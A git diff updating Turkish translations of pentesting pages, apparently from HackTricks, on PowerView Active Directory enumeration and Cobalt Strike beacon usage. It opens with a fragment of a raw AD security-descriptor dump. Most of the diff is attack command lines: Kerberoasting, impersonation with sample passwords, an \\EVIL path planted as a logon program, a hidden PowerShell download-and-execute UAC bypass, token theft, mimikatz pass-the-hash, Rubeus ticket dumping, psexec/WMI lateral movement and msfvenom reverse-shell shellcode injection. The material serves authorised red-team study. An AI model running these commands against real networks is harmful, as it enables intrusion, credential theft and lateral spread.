3880317879-2865463114-5186)(OA;CI;WP;8d3bca50-1d7e-11d0-a081-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;e48d0154-bcf8-11d1-8702-00c04fb96050;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;275b2f54-982d-4dcd-b0ad-e53501445efb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5fd42471-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5430e777-c3ea-4024-902e-dde192204669;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;6f606079-3a82-4c1b-8efb-dcc8c91d26fe;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a7a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;bf967a7f-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;614aea82-abc6-4dd0-a148-d67a59c72816;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;66437984-c3c5-498f-b269-987819ef484b;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;77b5b886-944a-11d1-aebd-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;2cc06e9d-6f7e-426a-8825-0215de176e11;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;3263e3b8-fd6b-4c60-87f2-34bdaa9d69eb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf9679c0-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e0abfd0-126a-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;7cb4c7d3-8787-42b0-b438-3c5d479ad31e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-526)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-527)(OA;CI;DTWD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;DTWD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CCDCLCRPWPLO;f0f8ffac-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;CCDCLCRPWPLO;e8b2aff2-59a7-4eac-9a70-819adef701dd;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aa5-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;5cb41ed0-0e4c-11d0-a286-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;WD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;CO)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a86-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a9c-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967aba-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;WP;ea1b7b93-5e48-46d5-bc6c-4df4fda78a35;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;c975c901-6cea-4b6f-8319-d67f45449506;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;f0f8ffac-1191-11d0-a060-00aa006c33ed;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CINPIO;RPWPLOSD;;e8b2aff2-59a7-4eac-9a70-819adef701dd;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;BA)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;e2a36dc9-ae17-47c3-b58b-be34c55ba633;;S-1-5-32-557)(OA;CIIO;LCRPLORC;;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIO;LCRPLORC;;bf967a9c-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIO;LCRPLORC;;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;;CR;05c74c5e-4deb-43b4-bd9f-86664c2a7fd5;;AU)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;ED)(OA;;CR;ccc2dc7d-a6ad-4a7a-8846-c04e3cc53501;;AU)(OA;;CR;280f369c-67c7-438e-ae98-1d46f3c6f541;;AU)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;NS)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;AU)(OA;CI;RPWP;3f78c3e5-f79a-46bd-a0b8-9d18116ddc79;;PS)(OA;CIIO;RPWPCR;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;PS)(A;;CCLCSWRPWPLOCRRCWDWO;;;DA)(A;CI;LCSWRPWPRC;;;S-1-5-21-3842939050-3880317879-2865463114-5213)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5172)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5187)(A;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3842939050-3880317879-2865463114-519)(A;;RPRC;;;RU)(A;CI;LC;;;RU)(A;CI;CCLCSWRPWPLOCRSDRCWDWO;;;BA)(A;;RP;;;WD)(A;;LCRPLORC;;;ED)(A;;LCRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;CI;LCRPWPRC;;;AN)S:(OU;CISA;WP;f30e3bbe-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(OU;CISA;WP;f30e3bbf-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(AU;SA;CR;;;DU)(AU;SA;CR;;;BA)(AU;SA;WPWDWO;;;WD)" Owner : BUILTIN\Administrators diff --git a/src/windows-hardening/basic-powershell-for-pentesters/powerview.md b/src/windows-hardening/basic-powershell-for-pentesters/powerview.md index ebb111e70..d9c900be8 100644 --- a/src/windows-hardening/basic-powershell-for-pentesters/powerview.md +++ b/src/windows-hardening/basic-powershell-for-pentesters/powerview.md @@ -6,8 +6,8 @@ PowerView'in en güncel versiyonu her zaman PowerSploit'in dev dalında olacakt [**SharpView**](https://github.com/tevora-threat/SharpView), [**PowerView**](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1) için bir .NET portudur. -### Hızlı sayım -```powershell +### Hızlı numaralandırma +```bash Get-NetDomain #Basic domain info #User info Get-NetUser -UACFilter NOT_ACCOUNTDISABLE | select samaccountname, description, pwdlastset, logoncount, badpwdcount #Basic user enabled info @@ -38,7 +38,7 @@ Invoke-UserHunter -CheckAccess Invoke-ACLScanner -ResolveGUIDs | select IdentityReferenceName, ObjectDN, ActiveDirectoryRights | fl ``` ### Alan bilgisi -```powershell +```bash # Domain Info Get-Domain #Get info about the current domain Get-NetDomain #Get info about the current domain @@ -61,7 +61,7 @@ Get-NetDomainController -Domain mydomain.local #Get all ifo of specific domain D Get-ForestDomain ``` ### Kullanıcılar, Gruplar, Bilgisayarlar ve OU'lar -```powershell +```bash # Users ## Get usernames and their groups Get-DomainUser -Properties name, MemberOf | fl @@ -127,7 +127,7 @@ Get-NetOU #Get Organization Units Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_} #Get all computers inside an OU (StudentMachines in this case) ``` ### Giriş ve Oturumlar -```powershell +```bash Get-NetLoggedon -ComputerName #Get net logon users at the moment in a computer (need admins rights on target) Get-NetSession -ComputerName #Get active sessions on the host Get-LoggedOnLocal -ComputerName #Get locally logon users at the moment (need remote registry (default in server OS)) @@ -136,9 +136,9 @@ Get-NetRDPSession -ComputerName #List RDP sessions inside a host (n ``` ### Grup Politika Nesnesi - GPO'lar -Eğer bir saldırganın **bir GPO üzerinde yüksek ayrıcalıkları** varsa, **bir kullanıcıya izin ekleyerek**, **bir yerel yönetici kullanıcısı ekleyerek** veya **bir eylemi gerçekleştirmek için bir zamanlanmış görev oluşturarak** bunu **privesc** için kullanabilme ihtimali vardır.\ +Eğer bir saldırganın **bir GPO üzerinde yüksek yetkileri** varsa, **bir kullanıcıya izin ekleyerek**, **bir yerel yönetici kullanıcısı ekleyerek** veya **bir eylemi gerçekleştirmek için bir zamanlanmış görev oluşturarak** bunu **privesc** için kullanabilme ihtimali vardır.\ [**Bununla ilgili daha fazla bilgi ve nasıl istismar edileceği için bu bağlantıyı takip edin**](../active-directory-methodology/acl-persistence-abuse/index.html#gpo-delegation). -```powershell +```bash #GPO Get-DomainGPO | select displayName #Check the names for info Get-NetGPO #Get all policies with details @@ -178,7 +178,7 @@ Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectNam {{#endref}} ### ACL -```powershell +```bash #Get ACLs of an object (permissions of other objects over the indicated one) Get-ObjectAcl -SamAccountName -ResolveGUIDs @@ -199,13 +199,13 @@ Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUser Get-NetGroupMember -GroupName "Administrators" -Recurse | ?{$_.IsGroup -match "false"} | %{Get-ObjectACL -SamAccountName $_.MemberName -ResolveGUIDs} | select ObjectDN, IdentityReference, ActiveDirectoryRights ``` ### Paylaşılan dosyalar ve klasörler -```powershell +```bash Get-NetFileServer #Search file servers. Lot of users use to be logged in this kind of servers Find-DomainShare -CheckShareAccess #Search readable shares Find-InterestingDomainShareFile #Find interesting files, can use filters ``` ### Alan Güveni -```powershell +```bash Get-NetDomainTrust #Get all domain trusts (parent, children and external) Get-DomainTrust #Same Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found @@ -221,8 +221,8 @@ Get-NetForestTrust #Get forest trusts (it must be between 2 roots, trust between Get-DomainForeingUser #Get users with privileges in other domains inside the forest Get-DomainForeignGroupMember #Get groups with privileges in other domains inside the forest ``` -### Düşük**hanging fruit** -```powershell +### Düşük**-**hanging meyve** +```bash #Check if any user passwords are set $FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl @@ -260,7 +260,7 @@ Invoke-UserHunter -GroupName "RDPUsers" Invoke-UserHunter -Stealth ``` ### Silinmiş nesneler -```powershell +```bash #This isn't a powerview command, it's a feature from the AD management powershell module of Microsoft #You need to be in the AD Recycle Bin group of the AD to list the deleted AD objects Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties * @@ -268,22 +268,22 @@ Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties * ### MISC #### SID to Name -```powershell +```bash "S-1-5-21-1874506631-3219952063-538504511-2136" | Convert-SidToName ``` #### Kerberoast -```powershell +```bash Invoke-Kerberoast [-Identity websvc] #Without "-Identity" kerberoast all possible users ``` #### Farklı kimlik bilgileri kullanın (argüman) -```powershell +```bash # use an alterate creadential for any function $SecPassword = ConvertTo-SecureString 'BurgerBurgerBurger!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainUser -Credential $Cred ``` #### Bir kullanıcıyı taklit et -```powershell +```bash # if running in -sta mode, impersonate another credential a la "runas /netonly" $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) @@ -292,7 +292,7 @@ Invoke-UserImpersonation -Credential $Cred Invoke-RevertToSelf ``` #### Değerleri Ayarla -```powershell +```bash # set the specified property for the given user identity Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose # Set the owner of 'dfm' in the current domain to 'harmj0y' diff --git a/src/windows-hardening/cobalt-strike.md b/src/windows-hardening/cobalt-strike.md index 7468edca9..8a8a453cd 100644 --- a/src/windows-hardening/cobalt-strike.md +++ b/src/windows-hardening/cobalt-strike.md @@ -15,9 +15,9 @@ Bu dinleyicilerin beacon'ları doğrudan C2 ile konuşmak zorunda değildir, di * **TCP beacon, seçilen portta bir dinleyici ayarlayacaktır**. TCP beacon'a bağlanmak için başka bir beacon'dan `connect ` komutunu kullanın. * **smb beacon, seçilen isimle bir pipename'de dinleyecektir**. SMB beacon'a bağlanmak için `link [target] [pipe]` komutunu kullanmanız gerekir. -### Payload'ları Oluşturma ve Barındırma +### Yükleri Oluşturma ve Barındırma -#### Dosyalarda Payload Oluşturma +#### Dosyalarda yük oluşturma `Saldırılar -> Paketler ->` @@ -26,44 +26,49 @@ Bu dinleyicilerin beacon'ları doğrudan C2 ile konuşmak zorunda değildir, di * **`Windows Executable`** bir .exe, .dll veya hizmet .exe için * **`Windows Executable (S)`** **stageless** bir .exe, .dll veya hizmet .exe için (stageless, staged'den daha iyidir, daha az IoC) -#### Payload'ları Oluşturma ve Barındırma +#### Yükleri Oluşturma ve Barındırma -`Saldırılar -> Web Drive-by -> Scripted Web Delivery (S)` Bu, cobalt strike'dan beacon'ı indirmek için bitsadmin, exe, powershell ve python gibi formatlarda bir script/yürütülebilir dosya oluşturacaktır. +`Saldırılar -> Web Drive-by -> Scripted Web Delivery (S)` Bu, Cobalt Strike'dan beacon'ı indirmek için bitsadmin, exe, powershell ve python gibi formatlarda bir script/yürütülebilir dosya oluşturur. -#### Payload'ları Barındırma +#### Yükleri Barındırma -Eğer barındırmak istediğiniz dosya zaten bir web sunucusunda varsa, `Saldırılar -> Web Drive-by -> Dosya Barındır` kısmına gidin ve barındırılacak dosyayı ve web sunucu yapılandırmasını seçin. +Barındırmak istediğiniz dosyaya sahip iseniz, `Saldırılar -> Web Drive-by -> Dosyayı Barındır` kısmına gidin ve barındırılacak dosyayı ve web sunucu yapılandırmasını seçin. ### Beacon Seçenekleri
# Yerel .NET ikili dosyasını çalıştır
 execute-assembly 
+# 1MB'den büyük assembly'leri yüklemek için, malleable profilin 'tasks_max_size' özelliğinin değiştirilmesi gerekir.
 
 # Ekran görüntüleri
-printscreen    # PrintScr yöntemiyle tek bir ekran görüntüsü al
+printscreen    # PrintScr yöntemi ile tek bir ekran görüntüsü al
 screenshot     # Tek bir ekran görüntüsü al
 screenwatch    # Masaüstünün periyodik ekran görüntülerini al
-## Görüntüle -> Ekran Görüntüleri'ne gidin
+## Görmek için Görünüm -> Ekran Görüntüleri'ne gidin
 
 # keylogger
 keylogger [pid] [x86|x64]
-## Görüntüle > Tuş Vuruşları'na gidin, basılan tuşları görün
+## Görünüm > Tuş Vuruşları ile basılan tuşları görün
 
 # portscan
 portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # Başka bir süreç içinde portscan eylemi enjekte et
 portscan [targets] [ports] [arp|icmp|none] [max connections]
 
 # Powershell
-# Powershell modülünü içe aktar
+## Powershell modülünü içe aktar
 powershell-import C:\path\to\PowerView.ps1
-powershell 
+powershell-import /root/Tools/PowerSploit/Privesc/PowerUp.ps1
+powershell  # Bu, en yüksek desteklenen powershell sürümünü kullanır (opsec değil)
+powerpick   # Bu, spawnto tarafından belirtilen bir kurban süreci oluşturur ve daha iyi opsec için UnmanagedPowerShell'ı içine enjekte eder (loglama yok)
+powerpick Invoke-PrivescAudit | fl
+psinject     # Bu, belirtilen sürece UnmanagedPowerShell'ı enjekte eder.
 
 # Kullanıcı taklidi
 ## Kimlik bilgileri ile token oluşturma
 make_token [DOMAIN\user] [password] # Ağda bir kullanıcıyı taklit etmek için token oluştur
 ls \\computer_name\c$ # Oluşturulan token ile bir bilgisayardaki C$'ya erişmeye çalış
 rev2self # make_token ile oluşturulan token'ı kullanmayı durdur
-## make_token kullanımı, 4624 olayı oluşturur: Bir hesap başarıyla oturum açtı. Bu olay, bir Windows alanında çok yaygındır, ancak Oturum Açma Türü ile filtrelenerek daraltılabilir. Yukarıda belirtildiği gibi, LOGON32_LOGON_NEW_CREDENTIALS kullanır, bu da tür 9'dur.
+## make_token kullanımı, 4624 olayı oluşturur: Bir hesap başarıyla oturum açtı. Bu olay, bir Windows alanında çok yaygındır, ancak Oturum Açma Türü'ne göre filtrelenerek daraltılabilir. Yukarıda belirtildiği gibi, bu, tür 9 olan LOGON32_LOGON_NEW_CREDENTIALS kullanır.
 
 # UAC Atlatma
 elevate svc-exe 
@@ -73,13 +78,13 @@ runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.w
 ## pid'den token çalma
 ## make_token gibi ama bir süreçten token çalıyor
 steal_token [pid] # Ayrıca, bu ağ eylemleri için yararlıdır, yerel eylemler için değil
-## API belgelerinden, bu oturum açma türünün "çağrıcının mevcut token'ını klonlamasına izin verdiğini biliyoruz". Bu nedenle Beacon çıktısı, Taklit Edilen  diyor - kendi klonlanmış token'ımızı taklit ediyor.
+## API belgelerinden, bu oturum açma türünün "çağrıcının mevcut token'ını klonlamasına izin verdiğini" biliyoruz. Bu nedenle, Beacon çıktısı  - kendi klonlanmış token'ımızı taklit ediyor.
 ls \\computer_name\c$ # Oluşturulan token ile bir bilgisayardaki C$'ya erişmeye çalış
 rev2self # steal_token'dan token kullanmayı durdur
 
 ## Yeni kimlik bilgileri ile süreci başlat
 spawnas [domain\username] [password] [listener] # Okuma erişimi olan bir dizinden yapın: cd C:\
-## make_token gibi, bu 4624 olayı oluşturur: Bir hesap başarıyla oturum açtı ama 2 (LOGON32_LOGON_INTERACTIVE) oturum açma türü ile. Çağrıcı kullanıcıyı (TargetUserName) ve taklit edilen kullanıcıyı (TargetOutboundUserName) detaylandıracaktır.
+## make_token gibi, bu Windows olayı 4624'ü oluşturur: Bir hesap başarıyla oturum açtı ama 2 (LOGON32_LOGON_INTERACTIVE) oturum açma türü ile. Çağrıcı kullanıcıyı (TargetUserName) ve taklit edilen kullanıcıyı (TargetOutboundUserName) detaylandıracaktır.
 
 ## Sürece enjekte et
 inject [pid] [x64|x86] [listener]
@@ -92,11 +97,12 @@ pth [DOMAIN\user] [NTLM hash]
 
 ## Mimikatz ile hash'i geç
 mimikatz sekurlsa::pth /user: /domain: /ntlm: /run:"powershell -w hidden"
-## /run olmadan, mimikatz bir cmd.exe başlatır, eğer bir Masaüstü kullanıcısı olarak çalışıyorsanız, shell'i görecektir (eğer SYSTEM olarak çalışıyorsanız, devam edebilirsiniz)
+## /run olmadan, mimikatz bir cmd.exe başlatır, eğer bir masaüstü kullanıcısı olarak çalışıyorsanız, shell'i görecektir (eğer SYSTEM olarak çalışıyorsanız, iyi gidiyorsunuz)
 steal_token  # Mimikatz tarafından oluşturulan süreçten token çal
 
-## Bilet geç
+## Bilet geçişi
 ## Bir bilet talep et
+execute-assembly /root/Tools/SharpCollection/Seatbelt.exe -group=system
 execute-assembly C:\path\Rubeus.exe asktgt /user: /domain: /aes256: /nowrap /opsec
 ## Yeni bilet ile kullanılacak yeni bir oturum açma oturumu oluştur (ele geçirilen birini üzerine yazmamak için)
 make_token \ DummyPass
@@ -104,7 +110,7 @@ make_token \ DummyPass
 [System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]"))
 kerberos_ticket_use C:\Users\Administrator\Desktop\jkingTGT.kirbi
 
-## SYSTEM'den bileti geç
+## SYSTEM'den bilet geçişi
 ## Bilet ile yeni bir süreç oluştur
 execute-assembly C:\path\Rubeus.exe asktgt /user: /domain: /aes256: /nowrap /opsec /createnetonly:C:\Windows\System32\cmd.exe
 ## O süreçten token çal
@@ -113,36 +119,36 @@ steal_token 
 ## Bileti çıkar + Bileti geç
 ### Biletleri listele
 execute-assembly C:\path\Rubeus.exe triage
-### LUID ile ilginç bileti dök
+### LUID ile ilginç bir bileti dök
 execute-assembly C:\path\Rubeus.exe dump /service:krbtgt /luid: /nowrap
-### Yeni bir oturum açma oturumu oluştur, luid ve processid not edin
+### Yeni bir oturum açma oturumu oluştur, LUID ve processid'yi not et
 execute-assembly C:\path\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe
 ### Bileti oluşturulan oturum açma oturumuna ekle
 execute-assembly C:\path\Rubeus.exe ptt /luid:0x92a8c /ticket:[...base64-ticket...]
 ### Son olarak, o yeni süreçten token çal
 steal_token 
 
-# Yanal Hareket
+# Lateral Hareket
 ## Bir token oluşturulduysa kullanılacaktır
 jump [method] [target] [listener]
 ## Yöntemler:
-## psexec                    x86   Bir hizmeti çalıştırmak için bir Hizmet EXE eseri kullan
-## psexec64                  x64   Bir hizmeti çalıştırmak için bir Hizmet EXE eseri kullan
-## psexec_psh                x86   Bir hizmeti çalıştırmak için bir PowerShell one-liner kullan
-## winrm                     x86   WinRM aracılığıyla bir PowerShell scripti çalıştır
-## winrm64                   x64   WinRM aracılığıyla bir PowerShell scripti çalıştır
+## psexec                    x86   Bir hizmeti çalıştırmak için bir Hizmet EXE nesnesi kullan
+## psexec64                  x64   Bir hizmeti çalıştırmak için bir Hizmet EXE nesnesi kullan
+## psexec_psh                x86   Bir hizmeti çalıştırmak için bir PowerShell one-liner kullan
+## winrm                     x86   WinRM üzerinden bir PowerShell scripti çalıştır
+## winrm64                   x64   WinRM üzerinden bir PowerShell scripti çalıştır
+## wmi_msbuild               x64   msbuild inline c# görevi ile wmi lateral hareket (oppsec)
 
-remote-exec [method] [target] [command]
+remote-exec [method] [target] [command] # remote-exec çıktı döndürmez
 ## Yöntemler:
-## psexec                          Hizmet Kontrol Yöneticisi aracılığıyla uzaktan çalıştır
-## winrm                           WinRM (PowerShell) aracılığıyla uzaktan çalıştır
-## wmi                             WMI aracılığıyla uzaktan çalıştır
+## psexec                          Hizmet Kontrol Yöneticisi aracılığıyla uzaktan çalıştır
+## winrm                           WinRM (PowerShell) aracılığıyla uzaktan çalıştır
+## wmi                             WMI aracılığıyla uzaktan çalıştır
 
-## WMI ile bir beacon çalıştırmak için (jump komutunda değil) sadece beacon'ı yükleyin ve çalıştırın
+## WMI ile bir beacon çalıştırmak için (jump komutunda yok) sadece beacon'ı yükleyin ve çalıştırın
 beacon> upload C:\Payloads\beacon-smb.exe
 beacon> remote-exec wmi srv-1 C:\Windows\beacon-smb.exe
 
-
 # Metasploit'e oturum geçişi - Dinleyici aracılığıyla
 ## Metasploit ana bilgisayarında
 msf6 > use exploit/multi/handler
@@ -151,23 +157,22 @@ msf6 exploit(multi/handler) > set LHOST eth0
 msf6 exploit(multi/handler) > set LPORT 8080
 msf6 exploit(multi/handler) > exploit -j
 
-## Cobalt'ta: Dinleyiciler > Ekle ve Payload'u Yabancı HTTP olarak ayarla. Host'u 10.10.5.120, Port'u 8080 olarak ayarlayın ve Kaydet'e tıklayın.
+## Cobalt'ta: Dinleyiciler > Ekle ve Yükü Yabancı HTTP olarak ayarlayın. Host'u 10.10.5.120, Port'u 8080 olarak ayarlayın ve Kaydet'e tıklayın.
 beacon> spawn metasploit
 ## Yalnızca yabancı dinleyici ile x86 Meterpreter oturumları başlatabilirsiniz.
 
-# Metasploit oturumunu Cobalt Strike'a geçirme - Shellcode enjekte ederek
+# Metasploit oturumunu Cobalt Strike'a geçirme - Shellcode enjekte etme
 ## Metasploit ana bilgisayarında
 msfvenom -p windows/x64/meterpreter_reverse_http LHOST= LPORT= -f raw -o /tmp/msf.bin
 ## msfvenom'u çalıştırın ve multi/handler dinleyicisini hazırlayın
 
 ## Bin dosyasını Cobalt Strike ana bilgisayarına kopyalayın
 ps
-shinject  x64 C:\Payloads\msf.bin # x64 süreçte metasploit shellcode enjekte et
+shinject  x64 C:\Payloads\msf.bin # x64 bir süreçte metasploit shellcode enjekte et
 
 # Metasploit oturumunu Cobalt Strike'a geçirme
-## Stageless Beacon shellcode oluşturun, Saldırılar > Paketler > Windows Executable (S) kısmına gidin, istenen dinleyiciyi seçin, Çıktı türü olarak Raw'ı seçin ve x64 payload kullanın.
-## Oluşturulan cobalt strike shellcode'u enjekte etmek için metasploit'te post/windows/manage/shellcode_inject kullanın.
-
+## Stageless Beacon shellcode oluşturun, Saldırılar > Paketler > Windows Executable (S) kısmına gidin, istenen dinleyiciyi seçin, Çıktı türü olarak Raw'ı seçin ve x64 yükünü kullanın.
+## Oluşturulan Cobalt Strike shellcode'u enjekte etmek için metasploit'te post/windows/manage/shellcode_inject kullanın.
 
 # Pivoting
 ## Teamserver'da bir socks proxy açın
@@ -176,50 +181,178 @@ beacon> socks 1080
 # SSH bağlantısı
 beacon> ssh 10.10.17.12:22 kullanıcı adı şifre
